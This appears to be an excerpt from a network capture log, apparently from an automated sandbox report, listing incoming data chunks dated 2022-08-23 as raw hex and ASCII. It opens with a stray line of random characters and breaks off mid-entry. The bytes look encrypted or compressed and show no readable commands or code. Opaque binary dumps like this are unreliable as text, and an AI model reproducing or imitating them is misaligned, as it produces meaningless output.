k!oJJ2U^3n3l&Pk+FI<6Qb_uQN48NDEVcvmhf+oxa[QYwi>onz"7t7M1EXOoY'(^dSmnN2Jr3,})Gi3~dZM*ecA2lu@{
2022-08-23 01:43:52 UTC	110	IN	Data Raw: 86 c7 f2 34 9d 33 9f 95 40 50 a0 4d f8 8f ce e8 c9 ce f3 2d c2 19 08 1f c2 bd aa db 91 e1 77 54 4b 17 cc 7d f5 53 6a dc 44 a1 f0 15 ce 3b 95 12 43 ce 28 21 ef bf 4e 15 f2 76 64 2d 97 7d 0a 21 35 ff af b1 5a 23 25 ee 37 2c 2d 74 47 c1 34 68 f5 b4 4c 94 3f 73 86 ad cb 16 22 52 c2 3b 63 11 7c 30 a7 56 2b 00 32 6a 3a cc 4e 81 d9 6b 73 c4 f7 e4 8b fc 55 57 ef 16 41 aa 0d 29 e7 f1 74 bc a5 29 c0 12 be 21 07 de e6 43 ea 61 6a 8d 44 91 a9 b7 97 43 2b 6c c7 b3 2d 5a 33 72 9b ab d2 b1 db e2 27 d0 70 1f 12 7a 02 bc 66 d6 03 b3 bb 56 7c d2 50 13 d0 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 53 0a 17 8a aa 12 3e bf 1f 12 7a 02 bc 66 d6 03 a9 74 b4 60 85 39 61 51 70 22 28 bd 3d 05 55 e0 de 6f 61 05 28 8e 52 77 7a 71 a5 5c 83 f3 5b d3 0b b8 8b d0 24 e5 ed 0a 02 ce Data Ascii: 43@PM-wTK}SjD;C(!Nvd-}!5Z#%7,-tG4hL?s"R;c\|0V+2j:NksUWA)t)!CajDC+l-Z3r'pzfV\|P_.I"1zfS>zft`9aQp"(=Uoa(Rwzq\[$
2022-08-23 01:43:52 UTC	111	IN	Data Raw: 1c a4 a2 95 30 a8 52 3f 4e 30 c4 39 dd dd 3c a0 bf bb 2e 58 53 db c3 5e 2f 2c a8 05 ed cb 04 1f d8 e3 6c 81 22 54 9b 21 22 b7 c9 90 cf 09 66 2f cf 53 22 9d d1 3b f8 24 97 9d 17 72 fd e9 3a 91 b7 04 a5 c9 9f 95 57 72 37 c7 50 19 80 a3 c3 e4 6f 10 d2 e6 10 1e 15 e9 ad c8 2e 10 7b bd e8 74 dd b0 fb a4 89 de 54 4d 62 14 31 e0 80 35 29 ab b3 f1 f6 6c fe 89 1e 68 54 b0 c4 28 4a 37 4e c0 41 43 1f cb 16 9e 76 6a b0 3b 25 1c d7 ac 2c fb 55 ce 42 84 6e ee 52 58 b5 bd e9 f3 59 c3 9c 45 58 30 3b 11 c7 5e 59 03 82 36 67 30 05 48 e2 ee 65 13 01 56 61 6a 9f be ed 4a 15 b3 b2 ee 03 0d 1e 1e 35 aa f2 1d 95 7c a2 bf 41 8d 8c 1d 0e 7a 90 b1 70 7e d7 0b 9a 73 45 0b 49 b8 15 0e 69 0e 47 18 fa 20 dc 79 e9 da d3 79 2f bf 96 b4 f1 df 93 66 a4 61 af e1 41 52 15 e3 48 00 7f 73 1d Data Ascii: 0R?N09<.XS^/,l"T!"f/S";$r:Wr7Po.{tTMb15)lhT(J7NACvj;%,UBnRXYEX0;^Y6g0HeVajJ5\|Azp~sEIiG yy/faARHs
2022-08-23 01:43:52 UTC	113	IN	Data Raw: 4c 54 33 71 9a 11 eb cb 2f bd aa 9b 06 f5 96 56 f6 aa ec de 9a 81 c2 9f 67 1c 8e 35 ae 0e 26 f9 41 5d dd 8d 47 d2 57 a8 61 8c 40 b7 63 6c 5d 0a 68 4e 6f 01 6b 78 6c ca 53 f9 92 0a 56 2c 0d 73 d9 2d ed 5f e0 55 f7 5a 0a 5f 31 3b 89 5d 74 14 30 10 9d a7 8d bc 7a 59 77 23 17 98 f1 e4 e0 0f de 0a 46 ba f1 60 c1 a0 e7 5f 62 ac 8c 30 1e a1 20 e7 9e e6 17 d9 11 1f 2c 70 95 95 d2 02 05 6c 71 11 36 24 5f fb 5b 02 2f 7e 73 04 62 07 ff 4a f1 40 0c c6 71 3f 16 9d e1 21 9f 7d 8e a6 e1 74 ff 6d 06 c5 4b a4 b1 f6 12 9d 14 30 97 fa fb 71 07 38 78 62 f2 75 0f e2 4f 27 cf 2d 51 6c 8a 14 98 2f a0 96 99 4a 9c c3 41 17 5a 31 3f 05 76 31 b9 84 2a 1a 9d e6 ea 82 cc 60 ca 90 e9 63 98 c7 73 ab 43 48 26 2f bb 47 d5 fb 16 60 72 2c 38 dd 0e 37 94 d4 40 14 da f3 3c 1e 94 65 6a 1f 97 Data Ascii: LT3q/Vg5&A]GWa@cl]hNokxlSV,s-_UZ_1;]t0zYw#F`_b0 ,plq6$_[/~sbJ@q?!}tmK0q8xbuO'-Ql/JAZ1?v1*`csCH&/G`r,87@<ej
2022-08-23 01:43:52 UTC	114	IN	Data Raw: 40 85 39 01 07 90 13 f5 c2 96 a8 c7 b8 37 f0 39 b5 78 1a c8 6f d6 b8 17 d2 d3 fe 68 51 c8 85 94 7b 83 1f 0a 0c 86 89 42 50 6f 99 c9 d7 4f 9a fd 74 09 88 3d 15 fd 80 ae c3 05 fe da 92 8b 20 f8 5a b5 0d d0 a0 d4 fa ce 05 fd d9 0a f9 f4 53 69 8d 07 9f 9a 94 e5 42 5e 08 1d 99 0a 5a fc 3f 0a 50 df a9 c6 d5 1e 82 14 20 30 b9 21 82 29 85 be 14 74 d6 af de ee c0 1e 92 a3 8c 51 60 05 34 77 7e 20 7f 05 18 a6 22 b6 ed e8 c0 6c 66 29 0f f3 79 bf b3 d6 dc 21 c9 d8 38 a6 5b 2a 31 d9 0b 56 47 02 af 6d e7 56 5e 08 e3 f8 c9 1b 7d e3 a8 bb 50 c7 b7 a1 3d ab 7d b1 2a 92 fd 24 ab ce be 64 0f cd 3f a2 49 00 7d b0 cc 69 a7 33 35 12 52 96 c4 45 3a 36 63 85 3d bf 8b d7 b3 bb 56 7c d2 50 13 d0 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 fb 15 db 8c e8 12 13 0e 41 05 3a f1 a0 Data Ascii: @979xohQ{BPoOt= ZSiB^Z?P 0!)tQ`4w~ "lf)y!8[1VGmV^}P=}$d?I}i35RE:6c=V\|P_.I"1zfA:
2022-08-23 01:43:52 UTC	115	IN	Data Raw: 23 45 60 ad 66 e1 e0 ef 39 1c 24 ff 97 89 eb 48 62 49 24 e6 63 c8 03 dd e6 f0 0c fc 93 a0 39 bd 97 5a c3 3d 5c 3d 82 61 ef 81 49 3f 7a 49 3f c7 00 a6 62 07 31 c8 6d f9 b3 56 6d 59 d7 b5 45 25 dd 9a ee 32 1b 34 6b de 46 14 5a 45 b7 9d 12 c7 d6 7d f8 e5 e3 b3 0e b3 cd 30 44 f3 50 28 69 43 a1 ee e3 60 e9 ea c6 7a de 90 79 91 eb da 90 ce 57 2d c9 39 ed 76 e3 bf 02 cb 5e fd 5d 16 07 e3 a7 d0 e6 77 9f b9 f4 ee 40 a9 b8 11 d9 d1 a6 5d d2 da b2 1f be a1 f1 4a f9 0e 50 e1 da 58 9e 82 c7 1f c6 cf 94 f3 f2 c2 d6 2a b0 73 f4 c2 8b c4 fa 82 66 f2 f6 59 ed e8 76 0f 96 ec c9 7e 54 30 e4 9a eb fd db bf c9 83 f4 a4 86 87 7d 38 bb 7c 35 ca 92 ba 6a dd fb a6 f4 e6 43 a0 b9 8b 11 c4 ed 67 3f 7a 8d eb 36 57 c1 bb b2 d9 6b 77 53 13 35 64 d6 74 d8 5c d9 44 3c 61 c1 c4 4e 04 f0 Data Ascii: #E`f9$HbI$c9Z=\=aI?zI?b1mVmYE%24kFZE}0DP(iC`zyW-9v^]w@]JPX*sfYv~T0}8\|5jCg?z6WkwS5dt\D<aN
2022-08-23 01:43:52 UTC	117	IN	Data Raw: b4 9c 38 ab 12 3d a5 b4 50 c3 b7 8c 15 2b c4 50 a5 a0 30 3e 90 bd 25 29 d8 93 f5 02 1f 78 80 89 66 83 1b 88 12 2e 4e 61 7f ea 61 d4 40 7d b8 9f 40 87 24 b2 c1 8b 0f b9 30 5e 5b 33 de c6 ba f0 34 33 89 5a 5b f6 67 aa 1b b1 06 16 fe bb 70 dc dc a8 9a 32 52 57 e6 19 2d 17 7e fb ab b9 0e 19 04 a5 7f 0e ce ab b3 f7 26 77 a7 30 8a 1c 16 f2 46 d3 1b c6 36 89 97 2e 2e 39 c7 e9 97 6f ff 64 da ed 3c 17 a0 6b 21 37 92 a7 39 01 1b ef d3 24 4c 2f 7e 27 1b 81 ec 42 1b cd ff d7 b9 d2 7d b9 32 60 c3 12 bc 12 fb d6 c7 47 0a bf a7 5b 7f b1 3c e6 4a bd e6 a7 e7 ad 50 a5 5e b9 76 4b e8 00 92 69 5f 5b df 11 76 85 78 6c 53 3b c1 00 94 2e 92 a7 39 01 1b ef d3 24 4c 2f 7e 27 1b 81 ec 42 2b 8c 61 a0 8a 91 04 00 6c b3 88 08 a5 e2 dc 78 5e fd 96 d4 d0 ed 72 8e df fa 37 bd 3a 9b f2 Data Ascii: 8=P+P0>%)xf.Naa@}@$0^[343Z[gp2RW-~&w0F6..9od<k!79$L/~'B}2`G[<JP^vKi_[vxlS;.9$L/~'B+alx^r7:
2022-08-23 01:43:52 UTC	118	IN	Data Raw: 3d 23 da 50 49 b7 47 83 83 c1 87 76 70 47 87 1a 1f 93 42 cd a3 aa e5 a0 b3 27 df 7e f5 cc a4 a2 52 6e 73 47 11 d1 cd 3d 92 78 07 24 22 ac a2 1a 1f 93 42 cd a3 aa e5 a0 91 1f d4 29 7d 6f c6 f7 0e 01 cd b2 fa 5a 40 52 17 95 ff 3a f4 74 f6 67 1d 18 ed c3 71 79 7b 07 8c b8 24 93 2b 77 d1 59 74 ce 1a 1d e6 94 38 28 14 8a 47 f2 a0 4e c3 26 83 4a 0c 43 ae 30 03 d8 66 f2 12 fa fa 4e 76 23 14 a1 df 15 3f 4b b9 59 3e c5 18 da 47 3c e6 1b 23 dd 58 e8 04 fe 6d 35 b6 1a 68 14 b4 37 6c f7 49 4d a3 75 05 6f 62 48 78 76 86 a3 61 95 a6 ed 68 08 0b 70 2d 1c 5e c5 b8 43 f3 b5 a5 62 c5 bd 41 ac b7 07 4d 4b 9b 97 f8 b1 cd 0a a7 8a 1e 56 8c 58 00 71 c5 87 2b 31 16 b0 5c 83 83 21 cc 65 b8 c2 64 14 fb 48 e3 05 e1 76 ef 4c 0e 57 64 9e 83 8b e3 f6 4f 7e 4f 53 76 e8 71 c3 ab 38 41 Data Ascii: =#PIGvpGB'~RnsG=x$"B)}oZ@R:tgqy{$+wYt8(GN&JC0fNv#?KY>G<#Xm5h7lIMuobHxvahp-^CbAMKVXq+1\!edHvLWdO~OSvq8A
2022-08-23 01:43:52 UTC	119	IN	Data Raw: c1 1f 8e eb c1 3b 5e f4 64 fd af f0 15 ea 1b 4d 0e d6 e8 a4 c5 64 28 35 ea 05 7d 4f 69 69 9f 77 95 d2 55 72 0d 5c e6 ca e9 2e 4c 1e 7a b3 8b f2 44 5b 1f 79 cd 50 72 50 f1 45 c1 2d c3 77 7d c1 83 76 7c 4b e6 eb a2 23 40 5c 86 b8 b3 7c 2c b6 2d 0d 7e 5d 60 ef 30 a8 52 3f 4e 30 c4 39 e3 4f 4d bf 1a 2f 48 42 dc 50 b2 e4 55 5c 4a e7 56 8f e4 5a 3e 6e d2 2f e0 6f 8d 30 13 11 7c 95 66 55 58 7d dc dd eb 4a 61 37 38 9a 27 6f a6 5a 0d 80 cf 36 93 ad 8d b1 e9 03 42 69 02 46 26 73 9e 20 41 e0 da 80 26 67 77 d5 d1 11 4f 87 af e8 b1 9c af 94 9d b3 31 15 79 b6 3d 2c bb fe 26 83 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 d3 73 c1 ad 17 73 6f db 04 b5 da 66 04 1e 06 56 64 c6 ae 22 e5 c8 bb ec ce f1 df 52 38 ea 6d 21 cb 73 8e 13 9c c6 a9 02 e5 4e d1 9a 03 cb ca 85 37 Data Ascii: ;^dMd(5}OiiwUr\.LzD[yPrPE-w}v\|K#@\\|,-~]`0R?N09OM/HBPU\JVZ>n/o0\|fUX}Ja78'oZ6BiF&s A&gwO1y=,&_.I"1zfssofVd"R8m!sN7
2022-08-23 01:43:52 UTC	121	IN	Data Raw: 66 12 01 70 8a 97 1e 23 5c 69 e8 1e 49 21 4b 72 f9 f6 15 8b 7f ff 32 eb e4 fb 26 f0 45 fb 51 7c 25 bd d9 2c 00 a2 7f ae 45 3b 51 8c 01 1b cc c5 ea 69 68 97 6b b2 df 9f 60 9f 3c 6b 1c 2a 00 b5 e4 22 d8 88 4d db ba df 33 01 23 45 b4 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 31 3f 56 d2 8d cb 8a 6e 41 05 3a f1 a0 42 bb 7e e5 66 0c 30 62 7e db 8e 43 bb d5 c4 ec 27 04 52 d0 8a 19 88 96 07 92 30 ce c4 75 33 ef 31 46 0c c0 e2 f3 6c de c9 93 64 a5 24 2a 6b 2d ab 3d dd 59 98 cd 86 c7 f2 34 9d 33 9f 95 40 50 a0 4d f8 8f ce e8 c9 ce f3 2d c2 11 74 53 ef 78 2b e9 e4 94 49 78 b6 a7 78 81 d6 3a db 5e 82 91 2d d4 32 cd ef 98 22 c8 88 43 8d e7 04 44 0d c3 b2 ba 75 fb bf 74 13 0a 00 34 00 e4 03 23 46 5f 40 b1 1e ae 57 5d 1a 88 60 3e f2 c2 a8 95 82 43 96 c8 ec d7 ac Data Ascii: fp#\iI!Kr2&EQ\|%,E;Qihk`<k"M3#E_.I"1zf1?VnA:B~f0b~C'R0u31Fld$k-=Y43@PM-tSx+Ixx:^-2"CDut4#F_@W]`>C
2022-08-23 01:43:52 UTC	122	IN	Data Raw: 54 bc 36 eb 74 4e db 6d 90 18 54 3d e4 7a 5e a3 9e 7d 2f de ba 56 54 dc 8b 71 76 89 18 7e a0 65 f0 96 d5 29 66 1d 4c e6 dd 1f de c8 21 4e a7 63 e9 7d d3 d9 04 45 8a ff 0f b9 ef 1f 00 41 1f d5 62 0c 92 46 67 bc 8d e9 f1 a9 c8 c8 f7 c5 3a dd 26 3a 39 59 b4 f2 c6 b5 67 9f 1e b1 87 34 64 72 b0 70 91 ab fb 86 ae 17 77 de a6 8b f1 94 c4 8e 47 35 cb bb 86 e5 6a b3 29 dc 69 b9 32 d8 df c8 63 95 9d 9b 88 78 6b 03 58 e7 d7 da c2 c2 3e 9b 77 87 22 23 e4 cf 83 f0 a1 b1 78 7d e9 a9 d0 b7 3e 23 69 4d 47 f7 58 51 27 7d 1d 44 89 3d 0d f5 0f ed e2 6f 8b a1 23 9c fa a0 d2 ea 56 74 53 ac 74 67 a2 4a ac 75 c5 7b b3 f4 b9 5b a4 8d 7b ef 4a 4f 7f a8 6b 6f d8 e1 b1 a3 c2 61 5e 73 ea 4c 68 8c dc fb 6a 0e ad 71 63 c1 53 85 94 51 e0 ee 8c 09 e2 3b 15 31 dd a9 8c 0c e4 65 46 90 18 Data Ascii: T6tNmT=z^}/VTqv~e)fL!Nc}EAbFg:&:9Yg4drpwG5j)i2cxkX>w"#x}>#iMGXQ'}D=o#VtStgJu{[{JOkoa^sLhjqcSQ;1eF
2022-08-23 01:43:52 UTC	123	IN	Data Raw: 82 ad 91 16 01 7f 75 a4 84 87 7e 49 45 95 f6 61 2d f1 b6 ba 43 af c2 aa 56 81 fa eb 20 bc 33 e6 cd 86 e7 29 f4 8f 27 7f ff a5 12 3a 41 90 06 e9 fd 65 44 ac 0d 33 a7 ea e0 50 76 3d 16 c7 4c 5b a3 1d 95 e5 28 96 48 45 2f 64 2d cc a6 3a 60 e2 d9 7d 66 e6 65 e4 89 d3 18 50 f0 52 70 4f e5 5e d6 09 50 c0 e7 20 84 2d e0 5b eb 12 4b 46 fe 0b 3e 4f 30 df 53 bf 9b a8 66 33 54 b2 64 53 36 cd 93 80 a1 32 da 9e 30 19 64 6a 68 50 65 a0 76 2d ba b2 de 20 78 cf 26 f9 03 d7 53 79 c9 dc 2c c6 4c bf e9 c6 0c ff 0d 10 a4 57 42 65 3e 0a 2d f8 66 e3 79 7a 31 26 ee 27 55 b1 2d f7 d7 b7 e8 f7 c4 f4 f1 c2 9e 9f 66 88 6e 8e e6 12 2c c5 a2 cc cd 40 f0 a2 be d1 6f 20 81 17 ab a1 a4 ae 3c 16 05 cb 7f 1d 07 27 9f 3c 7f ec 89 5a c4 51 c9 13 2b fd e9 08 e3 eb 56 6b ef 34 6d 12 48 01 49 Data Ascii: u~IEa-CV 3)':AeD3Pv=L[(HE/d-:`}fePRpO^P -[KF>O0Sf3TdS620djhPev- x&Sy,LWBe>-fyz1&'U-fn,@o <'<ZQ+Vk4mHI
2022-08-23 01:43:52 UTC	125	IN	Data Raw: 43 e9 b4 08 57 08 4e d7 3c 6a 37 72 8e 1b b3 7d 4d f1 aa 73 a1 53 ab 77 c1 f9 b0 20 5f 33 2e 60 f7 eb bb 95 c0 0d 53 8c 20 76 d9 89 ea 4a 18 6d a4 ba 42 09 48 bd 40 b3 fa 67 1b da 1e da 88 14 6f 86 f9 92 59 5b 83 6a 33 b3 45 56 13 91 a7 9c 04 e3 a4 eb e4 7a d2 06 66 9c 6d 68 b4 cb 66 8c 2b af 5b e3 53 50 14 e0 f1 64 9b bb 3c 45 7f f2 09 bc 02 3a 53 6d 8d 71 60 a5 02 67 fe d0 46 ef fb 36 08 c0 12 ac 1e 2a 8d 8a 36 da d3 4f 4e ca 69 27 38 6f 81 0e 81 b4 a3 a6 0d 69 98 9b 65 51 69 0d f0 ac 84 f4 be 28 b8 1f 3d 1f 39 17 9d d5 4a d9 22 0c ce 24 5c 2f 84 38 66 bf e8 f1 67 8d 44 40 85 ff af 74 68 73 93 e9 2f fa 6e 21 ed 0b 15 e3 0e 03 9a 93 48 3d 2c 64 2a b7 a4 d0 30 ba 5e 0d 5e 14 27 ac 32 9f b6 93 da b2 1f be a1 f1 4a f9 1f 27 01 ee ff aa cf 7e 1f c6 cf 94 f3 Data Ascii: CWN<j7r}MsSw _3.`S vJmBH@goY[j3EVzfmhf+[SPd<E:Smq`gF66ONi'8oieQi(=9J"$\/8fgD@ths/n!H=,d0^^'2J'~
2022-08-23 01:43:52 UTC	126	IN	Data Raw: 7f c1 4c 88 e4 fa d2 bd d4 28 4b 9b cc a3 f5 6d 9a 3a 74 1b e0 db ab 50 d1 90 42 41 58 60 c9 a4 f3 cc 03 a0 04 83 b8 68 7c c4 43 fd 11 03 54 63 86 23 40 dd 0e 97 e8 fb 42 51 aa 82 fb 95 ea 7c d0 3d 41 ba e1 65 3e e8 02 5d ba ab fb a6 76 a0 6e 27 ea 95 5e 06 14 14 7f 6f 2d e0 e4 72 d5 ed 89 86 6f 3b 8b 6a 0b df b3 24 a9 c2 94 98 f8 e6 67 e4 52 6a 6a e8 a8 8e 5c a6 7e be 0e 3a 51 0e c2 48 eb aa cb 33 13 94 3e 0d 40 f6 85 a0 de cd 7b 1f 12 7a 02 bc 66 d6 03 48 86 39 65 d7 a1 f5 16 1e 9a 05 ad 79 ce d9 b6 09 7f e9 ce 1f eb 1a bb ac a8 e2 5b d2 75 d8 a2 45 56 13 91 a7 9c 04 e3 44 63 1f 63 48 83 bd 29 2a b8 47 b5 73 34 6b 43 07 d4 dc a2 fc 6b 83 2d 89 cd 54 ea 5d c8 36 ff 17 89 52 05 d5 62 70 3c a9 7f 16 37 b0 11 c2 34 b6 a1 91 bf 78 1f 74 57 07 d8 79 fe 5c 2a Data Ascii: L(Km:tPBAX`h\|CTc#@BQ\|=Ae>]vn'^o-ro;j$gRjj\~:QH3>@{zfH9ey[uEVDccH)Gs4kCk-T]6Rbp<74xtWy\
2022-08-23 01:43:52 UTC	127	IN	Data Raw: ab 79 7e a5 ff 94 aa 81 63 30 a9 11 1e 7f a2 32 f3 95 4b 06 2a 61 34 72 87 4a d5 06 14 0a a1 91 be 59 ce 95 d8 82 f9 8f d3 b4 da 02 e5 a4 e9 21 15 8d 46 23 2d 3a 19 04 23 41 af 69 8e 90 69 32 0c 4a e0 f8 4d 36 04 89 77 0a 19 66 d7 2d 85 fc 53 18 c8 c5 05 6b dd 60 da 50 20 c8 5c fd 8e bc 99 81 a4 3e 5d e0 17 b6 df b7 a6 9f ca 77 bd 01 45 ac 7c cc 93 c5 22 9b 53 b7 11 d5 74 89 ea 79 2a 03 a7 12 a0 5f 94 3d 5c 57 07 2b 04 1f 84 58 41 83 ff b2 d2 52 7e 43 b9 7e 8c 25 6d 09 53 2e 1a 0a 91 97 56 63 57 c0 90 97 f1 ac 25 95 2a 50 de b7 ed 3e 6a c2 3b 3c 45 56 13 91 a7 9c 04 e3 7b 88 ab 69 1d 3a fc ca 08 6a 11 ca bb 63 ec 5a 26 c9 63 25 6a a7 41 51 61 4e 6e 6f 0e 4a cd f7 c4 1f 33 2a 92 39 5a 86 de e8 e5 68 52 97 11 6d 7c a6 e1 b4 1e 09 bc 5e 76 2b e3 69 68 04 e4 Data Ascii: y~c02Ka4rJY!F#-:#Aii2JM6wf-Sk`P \>]wE\|"Sty_=\W+XAR~C~%mS.VcW%P>j;<EV{i:jcZ&c%jAQaNnoJ39ZhRm\|^v+ih
2022-08-23 01:43:52 UTC	132	IN	Data Raw: ff 08 e2 d6 36 53 1b 05 b7 20 f9 cf 34 5e 44 4e 90 38 65 45 d0 b8 92 83 c7 38 66 75 b1 94 66 57 28 3a be 25 cc 78 29 12 2f fd d8 13 ee 4d 02 f4 00 e1 16 63 71 fb 3f 1f 50 c1 95 8c d7 d3 2e e1 3f 88 5c 84 8b 6a d6 42 f4 3e 6e 3c 47 d1 c1 56 47 89 86 58 92 2e a9 cd a3 4b 28 8c 17 4c a2 50 99 8e 22 6d 2e 08 77 b0 99 b0 4a 53 d8 36 c4 67 c8 46 12 cb 52 5a 51 8c a9 bb 08 5a 74 63 d2 84 5a 49 24 d9 a9 f0 93 51 b8 6c d9 e5 10 ce 3b 2d 19 f0 19 d8 05 70 83 4b 65 8e 27 bb 1e bd 2e d6 07 7e 6b 7a e4 d0 97 17 62 d1 e5 4b ab 31 cf 96 f5 fe d5 45 56 13 91 a7 9c 04 e3 84 c1 02 ef 2d 22 37 84 6d 68 b4 cb 66 8c 2b af 34 af 1a ba 48 8a df 40 4e fd 44 33 4e 9c 9e 1f e4 50 db e9 6b ff 3d 1f 62 bc d9 20 3d 10 9c 50 2c fa 8a 54 3e d3 69 d0 57 d6 ee f8 10 f4 2f 6d 42 d0 af f0 Data Ascii: 6S 4^DN8eE8fufW(:%x)/Mcq?P.?\jB>n<GVGX.K(LP"m.wJS6gFRZQZtcZI$Ql;-pKe'.~kzbK1EV-"7mhf+4H@ND3NPk=b =P,T>iW/mB
2022-08-23 01:43:52 UTC	136	IN	Data Raw: 02 50 95 5e 76 f1 38 e3 c6 10 44 5e aa 53 0d 40 f6 85 a0 de cd 7b 1f 12 7a 02 bc 66 d6 03 27 9d e2 16 97 4a e9 78 c3 34 6e d8 97 84 14 3b 4d 06 05 48 c0 24 ba 80 fe 6b 0a bd 25 5a bb 4e 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 7c 46 d0 51 44 2e d8 cd ab d2 b1 db e2 27 d0 70 d8 bc 0c 60 1b 42 71 21 0d 40 f6 85 a0 de cd 7b 1f 12 7a 02 bc 66 d6 03 a9 7f 16 37 b0 11 c2 34 53 0a 17 8a aa 12 3e bf f6 e3 7a 09 be bc 5a ea 0d 40 f6 85 a0 de cd 7b 1f 12 7a 02 bc 66 d6 03 27 9d e2 16 97 4a e9 78 08 97 33 4c f1 59 41 46 ec 38 08 22 e7 38 dc 7b fe 6b 0a bd 25 5a bb 4e 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 04 02 41 c9 32 67 65 2a 35 56 25 ca f4 14 ef c1 fe 6b 0a bd 25 5a bb 4e 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 7c 46 d0 51 44 2e d8 cd 53 Data Ascii: P^v8D^S@{zf'Jx4n;MH$k%ZN_.I"1zf\|FQD.'p`Bq!@{zf74S>zZ@{zf'Jx3LYAF8"8{k%ZN_.I"1zfA2ge*5V%k%ZN_.I"1zf\|FQD.S
2022-08-23 01:43:52 UTC	138	IN	Data Raw: f7 ce ca 29 b9 76 5b e1 0d 40 f6 85 a0 de cd 7b 10 ac ef 67 cf 9f 44 fc 53 0a 17 8a aa 12 3e bf 1f 12 7a 02 bc 66 d6 03 a9 74 b4 60 85 39 61 51 83 b7 7f 95 46 2f 1a d8 74 a9 63 c4 c2 30 e2 82 5f 2e d1 dc 49 be 22 31 1f 12 7a 02 bc 66 d6 03 0f c8 c1 20 8d 70 1d b5 ce 96 e6 76 73 be 5c 22 a6 39 b4 87 27 fa 13 f2 0f 77 6a 1f e4 0f 92 0f f0 14 82 7b 6d e3 83 d7 4a c9 51 de 3b d4 b7 0b d0 8a 19 88 96 07 92 30 8c 0b 1f 34 d6 2a 03 08 4c 18 1b cf 60 3e 6a 97 40 ad 27 ef 26 9d 5f 91 bb 80 83 71 84 93 3b d0 c6 64 fb 53 27 d3 c5 1d dd 52 4d db 33 02 1c 50 40 c9 3a 04 3e bf fa 8f ab 5a 7f af 90 f9 eb 09 77 b5 22 a1 a7 06 9f e3 5b 08 7b 8c c6 6d a9 5c e6 5d 90 6b 6d 73 b6 f6 d4 b0 19 c9 45 06 2a eb 8d c9 3e 81 27 5d dd 80 b0 01 a2 f0 87 3c 5f 42 6c 30 d3 f0 98 59 89 Data Ascii: )v[@{gDS>zft`9aQF/tc0_.I"1zf pvs\"9'wj{mJQ;04L`>j@'&_q;dS'RM3P@:>Zw"[{m\]kmsE>']<_Bl0Y
2022-08-23 01:43:52 UTC	142	IN	Data Raw: 27 d0 70 fc 06 c6 50 15 9b c7 70 0d 40 f6 85 a0 de cd 7b 6c e0 29 4f ad e7 16 7d 0d 40 f6 85 a0 de cd 7b f4 b3 4a d7 5f 2e 00 a6 0d 40 f6 85 a0 de cd 7b 1f 12 7a 02 bc 66 d6 03 6c 6f 97 e8 d3 11 1d 85 e8 95 67 6f 38 46 02 19 a6 01 17 27 e8 79 b1 21 41 8f 7d 61 9d 48 a6 fd 33 9f 95 40 50 a0 4d f8 5c c7 d0 10 5b 18 eb 38 e0 b7 aa a2 57 94 c8 e9 dc 9b 55 0d 26 11 7b a9 2b 91 e2 2c cf a2 c7 6f 50 c6 3e 80 62 a3 6e a9 bd 8e 6b 81 49 bd e4 57 20 46 5f bd 3e 09 79 7c 7b dc d2 b2 e5 a9 36 1d 88 72 0e bd 26 09 44 fa 32 56 92 e6 43 4e aa 2c 1d d3 5d 0d af c3 10 96 ae 57 5d 1a 88 60 3e f2 da 46 e6 f4 38 7a 9b 73 b5 44 db e9 c8 76 07 c2 78 9b 16 91 a8 1c 41 08 ea d5 42 58 d4 7c 94 09 d6 5b d6 a3 e7 21 ab 16 7a e4 9b 0f 78 46 a0 fc 67 3e 49 d4 e5 a4 1a 10 5b c7 de 0b Data Ascii: 'pPp@{l)O}@{J_.@{zflogo8F'y!A}aH3@PM\[8WU&{+,oP>bnkIW F_>y\|{6r&D2VCN,]W]`>F8zsDvxABX\|[!zxFg>I[
2022-08-23 01:43:52 UTC	146	IN	Data Raw: 16 c7 66 15 3d d5 ec 7e 50 ea 21 ba 59 dc b0 4b ca 73 e7 e3 a2 c7 fe 33 94 96 42 ad b3 d1 39 04 ab 2d a7 4d 47 57 ea bc 1c da 0e b5 8d 38 28 15 3c ad fe e1 ef 78 0c 1c 82 04 7d d1 7f 5f 45 56 13 91 a7 9c 04 e3 5d d5 3e 85 2b c2 e6 50 7c 42 8b 85 1f 81 da 51 0c 19 cd 5a 13 82 50 15 8b 03 c6 87 e4 e1 74 bd 3a 6c 92 68 b5 c9 ce 5e 04 eb b2 2b 6f 48 4b 9a 84 c6 49 95 4b fa 5d 0e ac 3a f4 5d 5d 05 ee ba bd ef 19 32 1f eb 32 be cf 4b d6 99 3a be f0 da 39 dd 34 9b 9c 3e c0 4d c9 ea 45 65 c3 e3 c2 9f ce d3 fd a4 0d 20 c9 bb 0b cd 9a 9e 7f df 4a 3b 24 14 12 79 22 39 e6 84 0b 85 e6 99 53 d2 ea 31 10 b6 f9 32 99 76 57 03 f0 41 e1 72 25 23 95 75 7e c5 80 e6 16 24 ff 8d 45 0b 65 bb dc ff 6a 31 44 0e ea 32 1c 38 6f 0b 16 36 11 4a 53 e6 3e ba 70 fa 73 21 58 83 f7 36 e1 Data Ascii: f=~P!YKs3B9-MGW8(<x}_EV]>+P\|BQZPt:lh^+oHKIK]:]]22K:94>MEe J;$y"9S12vWAr%#u~$Eej1D28o6JS>ps!X6
2022-08-23 01:43:52 UTC	150	IN	Data Raw: 19 c8 d2 57 b7 f9 73 69 9b 54 3b 4c d6 56 dd e7 42 99 a3 78 25 c6 51 d1 d4 af d1 ab 8b a1 7b a7 ec 19 8f 87 72 e1 0a ef 6a 0a b7 40 17 cb d9 0c ad e5 0a 00 4c 8e 55 64 58 cd 6a b5 1e 8b ad 6c f8 7b 10 f9 ba 36 76 d6 a6 fa d9 f6 95 56 ad c8 6d c2 9f 06 92 13 cf 4b 6b c6 71 3f 16 9d e1 21 9f be ed 78 2c 07 67 a2 79 24 dc b9 1a aa d7 ae 80 0d cb 7f 10 61 c0 ba ee 25 5d bf ec 77 45 6e ba 74 19 14 b8 aa 92 15 45 4c 65 e8 01 0e 84 88 e0 b0 c8 f9 43 62 10 e6 38 d8 05 70 83 4b 65 8e 27 f6 1e fd 08 52 f5 62 9e ce 27 82 9f 3e 44 85 3d 4c 59 f7 01 d7 f4 25 b4 3a f7 50 93 54 49 67 81 26 a6 6c 63 43 68 